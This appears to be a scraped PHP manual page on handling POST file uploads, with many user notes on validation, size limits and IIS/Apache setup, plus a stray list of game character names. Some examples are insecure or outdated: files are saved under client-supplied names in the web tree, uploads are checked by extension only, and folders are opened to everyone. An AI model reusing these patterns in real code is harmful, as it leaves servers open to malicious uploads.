  • Common Pitfalls
  • Uploading multiple files
  • PUT method support

User Contributed Notes

Matze 08-Mar-2014 09:55
Ahri
Cait
Mundo
Elise
draven
ezreal
eve
fizz
Jax
Jinx
Kassadin
Kayle
Khazinx
Leblanc
Leesin
Leona
Lucian
lulu
lux
nami
nasus
nid
noc
pant
renek
rengar
riven
shyvana
trundel
varus
vi
vayne
yasuo
zed
zac
zigs
CertaiN 29-Dec-2013 08:09
You'd better check $_FILES structure and values throughly.
The following code cannot cause any errors absolutely.

Example:
<?php

header('Content-Type: text/plain; charset=utf-8');

try {

    // Undefined | Multiple Files | $_FILES Corruption Attack
    // If this request falls under any of them, treat it invalid.
    if (
        !isset($_FILES['upfile']['error']) ||
        is_array($_FILES['upfile']['error'])
    ) {
        throw new RuntimeException('Invalid parameters.');
    }

    // Check $_FILES['upfile']['error'] value.
    switch ($_FILES['upfile']['error']) {
        case UPLOAD_ERR_OK:
            break;
        case UPLOAD_ERR_NO_FILE:
            throw new RuntimeException('No file sent.');
        case UPLOAD_ERR_INI_SIZE:
        case UPLOAD_ERR_FORM_SIZE:
            throw new RuntimeException('Exceeded filesize limit.');
        default:
            throw new RuntimeException('Unknown errors.');
    }

    // You should also check filesize here.
    if ($_FILES['upfile']['size'] > 1000000) {
        throw new RuntimeException('Exceeded filesize limit.');
    }

    // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!
    // Check MIME Type by yourself.
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (false === $ext = array_search(
        $finfo->file($_FILES['upfile']['tmp_name']),
        array(
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'gif' => 'image/gif',
        ),
        true
    )) {
        throw new RuntimeException('Invalid file format.');
    }

    // You should name it uniquely.
    // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!
    // On this example, obtain safe unique name from its binary data.
    if (!move_uploaded_file(
        $_FILES['upfile']['tmp_name'],
        sprintf('./uploads/%s.%s',
            sha1_file($_FILES['upfile']['tmp_name']),
            $ext
        )
    )) {
        throw new RuntimeException('Failed to move uploaded file.');
    }

    echo 'File is uploaded successfully.';

} catch (RuntimeException $e) {

    echo $e->getMessage();

}

?>
jan at lanteraudio dot nl 25-Feb-2013 10:31
Also stumbled on the max_file_size problem, in particular getting no response, no error whatsoever when uploading a file bigger than the set upload_max_filesize.

I found that it's not the upload_max_filesize setting, but instead the post_max_size setting causing this no response issue. So if you set post_max_size way larger than upload_max_filesize, at least you are likely to get an error response when filesize exceeds upload_max_filesize but is still within the limits of post_max_size.

Hope this helps anyone.
Thomas 23-Jul-2012 03:08
MIME type can be faked.

VVV

$_FILES['userfile']['type']

The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.

http://www.php.net/manual/en/features.file-upload.post-method.php

[Editor's note: removed a reference to a deleted note, and edited the note to make sense by itself.]
xmontero at dsitelecom dot com 07-Feb-2012 07:23
If "large files" (ie: 50 or 100 MB) fail, check this:

It may happen that your outgoing connection to the server is slow, and it may timeout not the "execution time" but the "input time", which for example in our system defaulted to 60s. In our case a large upload could take 1 or 2 hours.

Additionally we had "session settings" that should be preserved after upload.

1) You might want review those ini entries:

* session.gc_maxlifetime
* max_input_time
* max_execution_time
* upload_max_filesize
* post_max_size

2) Still fails? Caution, not all are changeable from the script itself. ini_set() might fail to override.

More info here:
http://www.php.net/manual/es/ini.list.php

You can see that the "upload_max_filesize", among others, is PHP_INI_PERDIR and not PHP_INI_ALL. This invalidates to use ini_set():
http://www.php.net/manual/en/configuration.changes.modes.php

Use .htaccess instead.

3) Still fails?. Just make sure you enabled ".htaccess" to overwrite your php settings. This is made in the apache file. You need at least AllowOverride Options.

See this here:
http://www.php.net/manual/en/configuration.changes.php

You will necessarily allow this manually in the case your master files come with AllowOverride None.

Conclussion:

Depending on the system, to allow "large file uploads" you must go up and up and up and touch your config necessarily up to the apache config.

Sample files:

These work for me, for 100MB uploads, lasting 2 hours:

In apache-virtual-host:
-----------------------------------------------------------
<Directory /var/www/MyProgram>
    AllowOverride Options
</Directory>
-----------------------------------------------------------

In .htaccess:
-----------------------------------------------------------
php_value session.gc_maxlifetime 10800
php_value max_input_time         10800
php_value max_execution_time     10800
php_value upload_max_filesize    110M
php_value post_max_size          120M
-----------------------------------------------------------

In the example,
- As I last 1 to 2 hours, I allow 3 hours (3600x3)
- As I need 100MB, I allow air above for the file (110M) and a bit more for the whole post (120M).
Phil Ciebiera 17-Sep-2009 10:54
On a Microsoft platform utilizing IIS, you may run into a situation where, upon moving the uploaded file, anonymous web users can't access the content without being prompted to authenticate first...

The reason for this is, the uploaded file will inherit the permissions of the directory specified in the directive upload_tmp_dir of php.ini.  If this directive isn't set, the default of C:\Windows\Temp is used.

You can work around this by granting the IUSR_[server name] user read access to your temporary upload directory, so that after you move_uploaded_file the permissions will already be set properly.

It's also a good idea to set the Execute Permissions of the upload directory to NOT include Executables, for security reasons.
To accomplish this:
-Open the IIS Manager
-Browse to the relevant sites directory where the uploads will be placed
-Right Click the folder and select Properties
-In the Directory tab of the resulting dialog, set the Execute permissions to be None

This took me a while to figure out, so I hope this helps save some other peoples time.
info at levaravel dot com 30-Jan-2009 04:39
A little codesnippet which returns a filesize in a more legible format.

<?php

function display_filesize($filesize){

    if(is_numeric($filesize)){
    $decr = 1024; $step = 0;
    $prefix = array('Byte','KB','MB','GB','TB','PB');

    while(($filesize / $decr) > 0.9){
        $filesize = $filesize / $decr;
        $step++;
    }
    return round($filesize,2).' '.$prefix[$step];
    } else {

    return 'NaN';
    }

}

?>
damien from valex 05-Jan-2009 02:53
This is simpler method of checking for too much POST data (alternative to that by v3 from sonic-world.ru).

<?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST) && $_SERVER['CONTENT_LENGTH'] > 0) {
        throw new Exception(sprintf('The server was unable to handle that much POST data (%s bytes) due to its current configuration', $_SERVER['CONTENT_LENGTH']));
    }
?>
rnagavel at yahoo dot com dot au 25-Nov-2008 10:10
If $_FILES is always empty, check the method of your form.
It should be POST. Default method of a form is GET.

<form action="myaction.php">
 <input type="file" name"userfile">
</form>
File will not be uploaded as default method of the form is GET.

<form action="myaction.php" method="POST">
 <input type="file" name"userfile">
</form>
Files will be uploaded and $_FILES will be populated.
romke at romke dot nl 28-Aug-2008 01:26
IIS7
has a upload limit of 30000000 (about 30mb)

You can change this with the command (for 250mb):

c:\windows\system32\inetsrv\appcmd set config -section:requestFiltering -requestLimits.maxAllowedContentLength:262144000

Or manual define it in:
%windir%\system32\inetsrv\config\applicationhost.config

Add this rule before the </requestFiltering> tag:
<requestLimits maxAllowedContentLength ="262144000" />
jahajee 30-Apr-2008 01:27
hi , i was having difficulty with the upload_max_filesize , if u set the max file size lesser than the php setting then ur script to report error will only work till this difference between ur max set file size and the php set max size .Hence if the uploaded file exceeds the php max file size then php end abruptly without a trace of error that is it behaves like no file is uploaded and hence no error reported .Sure if uploading a file is optional for a form then a user who uploads larger file will get no error and still the form will be processed only without the file.
The method of using GET can't be used for optional uploads. Can't find help even in the bugs .Be careful with optional uploads.
jahajee
Rob 24-Apr-2008 10:07
You should not have any directories within your website root that has the permissions required for file upload.  If you are going to do a file upload, I recommend you use the PHP FTP Functions in conjunction with your file field, that way the files are transferred to a remote FTP location separate from your server.
ragtime at alice-dsl dot com 24-Sep-2007 05:55
I don't believe the myth that 'memory_size' should be the size of the uploaded file. The files are definitely not kept in memory... instead uploaded chunks of 1MB each are stored under /var/tmp and later on rebuild under /tmp before moving to the web/user space.

I'm running a linux-box with only 64MB RAM, setting the memory_limit to 16MB and uploading files of sizes about 100MB is no problem at all! Nevertheless, some users reported a problem at a few 100MB, but that's not confirmed... ;-)

The other sizes in php.ini are set to 1GB and the times to 300... maybe the execution_time limits before, since the CPU is just a 233MHz one... :-)

====

OK,... I got it... finally!

If some of you have also problems uploading large files but the usual sizes/times in php.ini are ok, please check

    session.gc_maxlifetime

when you are using session management with your upload script!

The default value is 1440 which is just 24min... so with only 600kbit/s upload rate the session will be closed automatically after uploading
about 100MB. Actually you are able to upload more, but the file won't be copied from the temporary to the destination folder... ;-)

You can set the value also directly inside the php-script via
<?php ini_set("session.gc_maxlifetime","10800"); ?>
svenr at selfhtml dot org 24-Apr-2007 12:13
Clarification on the MAX_FILE_SIZE hidden form field:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
jedi_aka at yahoo dot com 18-Oct-2006 09:12
For those of you trying to make the upload work with IIS on windows XP/2000/XP Media and alike here is a quick todo.

1) Once you have created subdirectories "uploads/"  in the same directory wher you code is running use the code from oportocala above and to make absolutely sure sure that the file you are trying to right is written under that folder. ( I recomend printing it using echo $uploadfile; )

2) In windows explorer browse to the upload directory created above and share it. To do that execute the following substeps.
     a) Right click the folder click "sharing and security..."
     b) Check 'Share this folder on the network'
     c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT )
     d) click 'ok' or 'apply'

3) you can then go in the IIS to set read and write permissions for it. To do that execute the followin substeps.
     a) Open IIS (Start/Controp Panel (classic View)/ Admistrative tools/Internet Information Service
     b) Browse to your folder (the one we created above)
     c) right click and select properties.
     d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY BROWSING are checked.
     e) For the security freaks out there, You should also make sure that 'execute permissions:' are set to Script only or lower (DO NOT SET IT TO 'script and executable)'( that is because someone could upload a script to your directory and run it. And, boy, you do not want that to happen).

there U go.

Send me feed back it if worked for you or not so that I can update the todo.

jedi_aka@yahoo.com

PS: BIG thanks to oportocala
david at cygnet dot be 12-May-2006 02:14
If you are experiencing problems posting files from Internet Explorer to a PHP script over an SSL connection, for instance "Page can not be displayed" or empty $_FILES and $_POST arrays (described by jason 10-Jan-2006 02:08), then check out this microsoft knowledgebase article:

http://support.microsoft.com/?kbid=889334

This knowledgebase article explains how since service pack 2 there may be problems posting from IE over SSL. It is worth checking whether your problem is IE specific since this is definitely not a PHP problem!
geert dot php at myrosoft dot com 23-Dec-2005 09:16
When file names do contain single quote parts of the filename are being lost.
eg.: uploading a filename
      startName 'middlepart' endName.txt
will be uploaded (and hence stored in the _Files ['userfile'] variable as
      endName.txt
skipping everything before the second single quote.
djot at hotmail dot com 27-Nov-2005 11:02
-
Be carefull with setting max_file_size via
<?php ini_get('upload_max_filesize'); ?>

ini_get might return values like "2M" which will result in non working uploads.

This was the "no no" in my case:

<?php
$form = '<input type="hidden" name="MAX_FILE_SIZE" value=".ini_get('upload_max_filesize')." />';
?>

Files were uploaded to the server, but than there was not any upload information, not even an error message. $_FILES was completly empty.

djot
-
mariodivece at bytedive dot com 24-Aug-2005 08:33
Just wanted to point out a detail that might be of interest to some:

when using base64_encode to store binary data in a database, you are increasing the size of the data by 1.33 times. There is a nicer way of storing the data directly. Try the following:

<?php $data = mysql_real_escape_string($data); ?>

This will leave the data untouched and formatted in the correct way and ready to be inserted right into a MySQL statement without wasting space.

By the way, I'd like to thank therebechips for his excellent advice on data chunks.
warwickbarnes at yahoo dot co dot uk 19-Aug-2005 01:58
You may come across the following problem using PHP on Microsoft IIS: getting permission denied errors from the move_uploaded_file function even when all the folder permissions seem correct. I had to set the following to get it to work:

1. Write permissions on the the folder through the IIS management console.
2. Write permissions to IUSR_'server' in the folder's security settings.
3. Write permissions to "Domain Users" in the folder's security settings.

The third setting was required because my application itself lives in a secure folder - using authentication (either Basic or Windows Integrated) to identify the users. When the uploads happen IIS seems to be checking that these users have write access to the folder, not just whether the web server (IUSR_'server') has access.

Also, remember to set "Execute Permissions" to "None" in the IIS management console, so that people can't upload a script file and then run it. (Other checks of the uploaded file are recommended as well but 'Execute None' is a good start.)
myko AT blue needle DOT com 16-Aug-2005 06:13
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE hidden form field, and zlib.output_compression = On.  Seems that the browser continues to post up the entire file, even though PHP throws the MAX_FILE_SIZE error properly.  Turning zlib compression to OFF seems to solve the issue.  Don't have time to dig in and see who's at fault, but wanted to save others the hassle of banging their head on this one.
keith at phpdiary dot org 24-May-2005 01:14
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the uploaded filetype; if you do so your server could be compromised.  I'll show you why below:

The manual (if you scroll above) states: $_FILES['userfile']['type'] -  The mime type of the file, if the browser provided this information. An example would be "image/gif".

Be reminded that this mime type can easily be faked as PHP doesn't go very far in verifying whether it really is what the end user reported!

So, someone could upload a nasty .php script as an "image/gif" and execute the url to the "image".

My best bet would be for you to check the extension of the file and using exif_imagetype() to check for valid images.  Many people have suggested the use of getimagesize() which returns an array if the file is indeed an image and false otherwise, but exif_imagetype() is much faster. (the manual says it so)
ceo at l-i-e dot com 20-May-2005 05:25
Using /var/www/uploads in the example code is just criminal, imnsho.

One should *NOT* upload untrusted files into your web tree, on any server.

Nor should any directory within your web tree have permissions sufficient for an upload to succeed, on a shared server. Any other user on that shared server could write a PHP script to dump anything they want in there!

The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never catch all the possible combinations of types for any given file format.
B. It can be forged, so it's crappy security anyway.

One's code should INSPECT the actual file to see if it looks kosher.

For example, images can quickly and easily be run through imagegetsize and you at least know the first N bytes LOOK like an image.  That doesn't guarantee it's a valid image, but it makes it much less likely to be a workable security breaching file.

For Un*x based servers, one could use exec and 'file' command to see if the Operating System thinks the internal contents seem consistent with the data type you expect.

I've had trouble in the past with reading the '/tmp' file in a file upload.  It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file.  Fine.   One should move the uploaded file to some staging directory.  Then you check out its contents as thoroughly as you can.  THEN, if it seems kosher, move it into a directory outside your web tree.  Any access to that file should be through a PHP script which reads the file.  Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho.

There are more than a few User Contributed notes here with naive (bad) advice.  Be wary.
dmsuperman at comcast dot net 26-Apr-2005 08:00
I needed a file uploader for a client a little while ago, then the client didn't want it, so I'll share with all of you. I know I hated coding it, it was confusing (for me anyway), but I made it fairly simple to use:

<?php
function uploader($num_of_uploads=1, $file_types_array=array("txt"), $max_file_size=1048576, $upload_dir=""){
  if(!is_numeric($max_file_size)){
    $max_file_size = 1048576;
  }
  if(!isset($_POST["submitted"])){
    $form = "<form action='".$PHP_SELF."' method='post' enctype='multipart/form-data'>Upload files:<br /><input type='hidden' name='submitted' value='TRUE' id='".time()."'><input type='hidden' name='MAX_FILE_SIZE' value='".$max_file_size."'>";
    for($x=0;$x<$num_of_uploads;$x++){
      $form .= "<input type='file' name='file[]'><font color='red'>*</font><br />";
    }
    $form .= "<input type='submit' value='Upload'><br /><font color='red'>*</font>Maximum file length (minus extension) is 15 characters. Anything over that will be cut to only 15 characters. Valid file type(s): ";
    for($x=0;$x<count($file_types_array);$x++){
      if($x<count($file_types_array)-1){
        $form .= $file_types_array[$x].", ";
      }else{
        $form .= $file_types_array[$x].".";
      }
    }
    $form .= "</form>";
    echo($form);
  }else{
    foreach($_FILES["file"]["error"] as $key => $value){
      if($_FILES["file"]["name"][$key]!=""){
        if($value==UPLOAD_ERR_OK){
          $origfilename = $_FILES["file"]["name"][$key];
          $filename = explode(".", $_FILES["file"]["name"][$key]);
          $filenameext = $filename[count($filename)-1];
          unset($filename[count($filename)-1]);
          $filename = implode(".", $filename);
          $filename = substr($filename, 0, 15).".".$filenameext;
          $file_ext_allow = FALSE;
          for($x=0;$x<count($file_types_array);$x++){
            if($filenameext==$file_types_array[$x]){
              $file_ext_allow = TRUE;
            }
          }
          if($file_ext_allow){
            if($_FILES["file"]["size"][$key]<$max_file_size){
              if(move_uploaded_file($_FILES["file"]["tmp_name"][$key], $upload_dir.$filename)){
                echo("File uploaded successfully. - <a href='".$upload_dir.$filename."' target='_blank'>".$filename."</a><br />");
              }else{
                echo($origfilename." was not successfully uploaded<br />");
              }
            }else{
              echo($origfilename." was too big, not uploaded<br />");
            }
          }else{
            echo($origfilename." had an invalid file extension, not uploaded<br />");
          }
        }else{
          echo($origfilename." was not successfully uploaded<br />");
        }
      }
    }
  }
}
?>

uploader([int num_uploads [, arr file_types [, int file_size [, str upload_dir ]]]]);

num_uploads = Number of uploads to handle at once.

file_types = An array of all the file types you wish to use. The default is txt only.

file_size = The maximum file size of EACH file. A non-number will results in using the default 1mb filesize.

upload_dir = The directory to upload to, make sure this ends with a /

This functions echo()'s the whole uploader, and submits to itself, you need not do a thing but put uploader(); to have a simple 1 file upload with all defaults.
robpet at tds dot net 03-Apr-2005 07:35
People have remarked that incorrect permissions on the upload directory may prevent photos or other files from uploading.  Setting the Apache owner of the directory incorrectly will also prevent files from uploading -- I use a PHP script that creates a directory (if it doesn't exist already) before placing an uploaded file into it.  When the script creates the directory and then copies the uploaded file into the directory there is no problem because the owner of the file is whatever Apache is running as, typically "nobody". However, lets say that I've moved the site to a new server and have copied over existing file directories using FTP.  In this case the owner will have a different name from the Apache owner and files will not upload. The solution is to TelNet into the site and reset the owner to "nobody" or whatever Apache is running as using the CHOWN command.
javasri at yahoo dot com 30-Mar-2005 11:34
On windows XP, SP2, Explorer at times fails to upload files without extensions.

$_FILES array is null in that case. Microsoft says its a security feature(!)

The only solution we could comeup is to enforce uploaded file  to have an extention.
Leevi at izilla dot com dot au 09-Feb-2005 07:52
This may help a newbie to file uploads.. it took advice from a friend to fix it..

If you are using
-windows xp
-iis 5
-php 5

If you keep getting permission errors on file uploads... and you have sworn you set the permissions to write to the directory in iis...

double check that
a) in windows explorer under tools > folder options
click the view tab
scroll down all the way to "use simple file sharing (recommended)"
uncheck this box

b) find the folder you wish to upload to on your server
c) click properties and then the security tab
d) make sure the appropriate write settings are checked.

you may want to test by setting "everyone" to have full permission....

BEWARE doing this will open up big security holes on your server....

hope this helps

Leevi Graham
Tyfud 07-Jan-2005 05:44
It's important to note that when using the move_uploaded_file() command, that some configurations (Especially IIS) will fail if you prefix the destination path with a leading "/". Try the following:

<?php move_uploaded_file($tmpFileName,'uploads/'.$fileName); ?>

Setting up permissions is also a must. Make sure all accounts have write access to your upload directory, and read access if you wish to view these files later. You might have to chmod() the directory or file afterwards as well if you're still getting access errors.
therhinoman at hotmail dot com 27-Aug-2004 10:20
If your upload script is meant only for uploading images, you can use the image function getimagesize() (does not require the GD image library) to make sure you're really getting an image and also filter image types.

<?php getimagesize($file); ?>

...will return false if the file is not an image or is not accessable, otherwise it will return an array...

<?php
$file = 'somefile.jpg';

# assuming you've already taken some other
# preventive measures such as checking file
# extensions...

$result_array = getimagesize($file);

if ($result_array !== false) {
    $mime_type = $result_array['mime'];
    switch($mime_type) {
        case "image/jpeg":
            echo "file is jpeg type";
            break;
        case "image/gif":
            echo "file is gif type";
            break;
        default:
            echo "file is an image, but not of gif or jpeg type";
    }
} else {
    echo "file is not a valid image file";
}
?>

using this function along with others mentioned on this page, image ploading can be made pretty much fool-proof.

See http://php.net/manual/en/function.getimagesize.php for supported image types and more info.
olijon, iceland 19-Jun-2004 05:24
When uploading large images, I got a "Document contains no data" error when using Netscape and an error page when using Explorer. My server setup is RH Linux 9, Apache 2 and PHP 4.3.

I found out that the following entry in the httpd.conf file was missing:

<Files *.php>
  SetOutputFilter PHP
  SetInputFilter PHP
  LimitRequestBody 524288 (max size in bytes)
</Files>

When this had been added, everything worked smoothly.

- Oli Jon, Iceland
brion at pobox dot com 11-May-2004 03:08
Note that with magic_quotes_gpc on, the uploaded filename has backslashes added *but the tmp_name does not*. On Windows where the tmp_name path includes backslashes, you *must not* run stripslashes() on the tmp_name, so keep that in mind when de-magic_quotes-izing your input.
steve dot criddle at crd-sector dot com 16-Apr-2004 08:43
IE on the Mac is a bit troublesome.  If you are uploading a file with an unknown file suffix, IE uploads the file with a mime type of "application/x-macbinary".  The resulting file includes the resource fork wrapped around the file.  Not terribly useful.

The following code assumes that the mime type is in $type, and that you have loaded the file's contents into $content.  If the file is in MacBinary format, it delves into the resource fork header, gets the length of the data fork (bytes 83-86) and uses that to get rid of the resource fork.

(There is probably a better way to do it, but this solved my problem):

<?php
if ($type == 'application/x-macbinary') {
    if (strlen($content) < 128) die('File too small');
    $length = 0;
    for ($i=83; $i<=86; $i++) {
        $length = ($length * 256) + ord(substr($content,$i,1));
          }
    $content = substr($content,128,$length);
}
?>
~caetin~ ( at ) ~hotpop~ ( dot ) ~com~ 11-Feb-2004 05:37
From the manual:

     If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

As of PHP 4.2.0, the "none" is no longer a reliable determinant of no file uploaded. It's documented if you click on the "error codes" link, but you need to look at the $_FILES['your_file']['error']. If it's 4, then no file was selected.
maya_gomez ~ at ~ mail ~ dot ~ ru 06-Feb-2004 02:20
when you upload the file, $_FILES['file']['name'] contains its original name converted into server's default charset.
if a name contain characters that aren't present in default charset, the conversion fails and the $_FILES['file']['name'] remains in original charset.

i've got this behavior when uploading from a windows-1251 environment into koi8-r. if a filename has the number sign "�" (0xb9), it DOES NOT GET CONVERTED as soon as there is no such character in koi8-r.

Workaround i use:

<?php
if (strstr ($_FILES['file']['name'], chr(0xb9)) != "")
{
    $_FILES['file']['name'] = iconv (
        "windows-1251",
        "koi8-r",
        str_replace (chr(0xb9), "N.", $_FILES['file']['name']));
};
?>
garyds at miraclemedia dot ca 16-Mar-2003 03:12
As it has been mentioned, Windows-based servers have trouble with the path to move the uploaded file to when using move_uploaded_file()... this may also be the reason copy() works and not move_uploaded_file(), but of course move_uploaded_file() is a much better method to use. The solution in the aforementioned note said you must use "\\" in the path, but I found "/" works as well. So to get a working path, I used something to the effect of:

"g:/rootdir/default/www/".$_FILES['userfile']['name']

...which worked like a charm.

I am using PHP 4.3.0 on a win2k server.

Hope this helps!
ov at xs4all dot nl 09-Mar-2003 04:08
This took me a few days to find out: when uploading large files with a slow connection to my WIN2K/IIS5/PHP4 server the POST form kept timing out at exactly 5 minutes. All PHP.INI settings were large enough to accomodate huge file uploads. Searched like hell with keywords like "file upload php timeout script" until I realised that I installed PHP as CGI and added that as a keyword. This was the solution:

To set the timeout value:
1. In the Internet Information Services snap-in, select the computer icon and open its property sheets.
2. Under Master Properties, select WWW Service, and then click the Edit button
3. Click the Home Directory tab.
4. Click the Configuration button.
5. Click the Process Options tab, and then type the timeout period in the CGI Script Timeout box.
travis dot lewis at amd dot com 04-Dec-2002 09:58
If you we dumb like me you installed Redhat 8.0 and kept the default install of packages for Apache 2.0 and PHP4.2.2.  I could not upload any files larger than 512kB and all the php directorives were set to 32MB or higher.
memory_limit = 128M
post_max_size = 64M
upload_max_filesize = 32M

And my upload web page was set to 32MB as well:
<Form ID="frmAttach" Name="frmAttach" enctype="multipart/form-data" action="attachments.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="33554432" />

However, the insiduous php.conf (/etc/httpd/conf.d/php.conf) file used by default RPM install of Redhat httpd has a LimitRequestBody set to 512kB ("524288" ).  Adjusting this to 32MB ("33554432") got things going for the larger files.  Here is my php.conf file in its entirety.  Hope this helps someone.  L8er.

#
# PHP is an HTML-embedded scripting language which attempts to make it
# easy for developers to write dynamically generated webpages.
#

LoadModule php4_module modules/libphp4.so

#
# Cause the PHP interpreter handle files with a .php extension.
#
<Files *.php>
    SetOutputFilter PHP
    SetInputFilter PHP
    LimitRequestBody 33554432
</Files>

#
# Add index.php to the list of files that will be served as directory
# indexes.
#
am at netactor dot NO_SPAN dot com 15-Mar-2002 07:20
Your binary files may be uploaded incorrectly if you use modules what recode characters. For example, for Russian Apache, you should use
<Files ScriptThatReceivesUploads.php>
CharsetDisable On
</Files>


POST method uploads

This feature lets people upload both text and binary files. With PHP's authentication and file manipulation functions, you have full control over who is allowed to upload and what is to be done with the file once it has been uploaded.

PHP is capable of receiving file uploads from any RFC-1867 compliant browser.

Note: Related Configurations Note

See also the file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size and max_input_time directives in php.ini

PHP also supports PUT-method file uploads as used by Netscape Composer and W3C's Amaya clients. See the PUT Method Support for more details.

Example #1 File Upload Form

A file upload screen can be built by creating a special form which looks something like this:

<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" action="__URL__" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

The __URL__ in the above example should be replaced, and point to a PHP file.

The MAX_FILE_SIZE hidden field (measured in bytes) must precede the file input field, and its value is the maximum filesize accepted by PHP. This form element should always be used as it saves users the trouble of waiting for a big file being transferred only to find that it was too large and the transfer failed. Keep in mind: fooling this setting on the browser side is quite easy, so never rely on files with a greater size being blocked by this feature. It is merely a convenience feature for users on the client side of the application. The PHP settings (on the server side) for maximum-size, however, cannot be fooled.

Note:

Be sure your file upload form has attribute enctype="multipart/form-data" otherwise the file upload will not work.

The global $_FILES will contain all the uploaded file information. Its contents from the example form is as follows. Note that this assumes the use of the file upload name userfile, as used in the example script above. This can be any name.

$_FILES['userfile']['name']

The original name of the file on the client machine.

$_FILES['userfile']['type']

The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.

$_FILES['userfile']['size']

The size, in bytes, of the uploaded file.

$_FILES['userfile']['tmp_name']

The temporary filename of the file in which the uploaded file was stored on the server.

$_FILES['userfile']['error']

The error code associated with this file upload.

Files will, by default be stored in the server's default temporary directory, unless another location has been given with the upload_tmp_dir directive in php.ini. The server's default directory can be changed by setting the environment variable TMPDIR in the environment in which PHP runs. Setting it using putenv() from within a PHP script will not work. This environment variable can also be used to make sure that other operations are working on uploaded files, as well.

Example #2 Validating file uploads

See also the function entries for is_uploaded_file() and move_uploaded_file() for further information. The following example will process the file upload that came from a form.

<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
// of $_FILES.

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

The PHP script which receives the uploaded file should implement whatever logic is necessary for determining what should be done with the uploaded file. You can, for example, use the $_FILES['userfile']['size'] variable to throw away any files that are either too small or too big. You could use the $_FILES['userfile']['type'] variable to throw away any files that didn't match a certain type criteria, but use this only as first of a series of checks, because this value is completely under the control of the client and not checked on the PHP side. Also, you could use $_FILES['userfile']['error'] and plan your logic according to the error codes. Whatever the logic, you should either delete the file from the temporary directory or move it elsewhere.

If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.

Example #3 Uploading array of files

PHP supports HTML array feature even with files.

<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        $name = $_FILES["pictures"]["name"][$key];
        move_uploaded_file($tmp_name, "data/$name");
    }
}
?>

File upload progress bar can be implemented using Session Upload Progress.

User Contributed Notes

Anonymous 05-Mar-2013 03:05
Normalizing $_FILES structure:

<?php
    $files = [];
    $fix = function (&$files, $values, $prop) use (&$fix) {
        foreach ($values as $key => $value) {
            if (is_array($value)) {
                $fix($files[$key], $value, $prop);
            } else {
                $files[$key][$prop] = $value;
            }
        }
    };
    foreach ($_FILES as $name => $props) {
        foreach ($props as $prop => $value) {
            if (is_array($value)) {
                $fix($files[$name], $value, $prop);
            } else {
                $files[$name][$prop] = $value;
            }
        }
    }
?>
gustavo at roskus dot com 08-Aug-2011 09:21
Some hosting does not have permission to use the move_uploaded_file function should replace the copy function
Age Bosma 10-Jun-2011 11:49
"If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none."

Note that the situation above is the same when a file exceeding the MAX_FILE_SIZE hidden field is being uploaded. In this case $_FILES['userfile']['size'] is also set to 0, and $_FILES['userfile']['tmp_name'] is also empty. The difference would only be the error code.
Simply checking for these two conditions and assuming no file upload has been attempted is incorrect.

Instead, check if $_FILES['userfile']['name'] is set or not. If it is, a file upload has at least been attempted (a failed attempt or not). If it is not set, no attempt has been made.
zingaburga at hotmail dot com 03-Feb-2011 04:09
The documentation is a little unclear about the MAX_FILE_SIZE value sent in the form with multiple file input fields.  The following is what I have found through testing - hopefully it may clarify it for others.

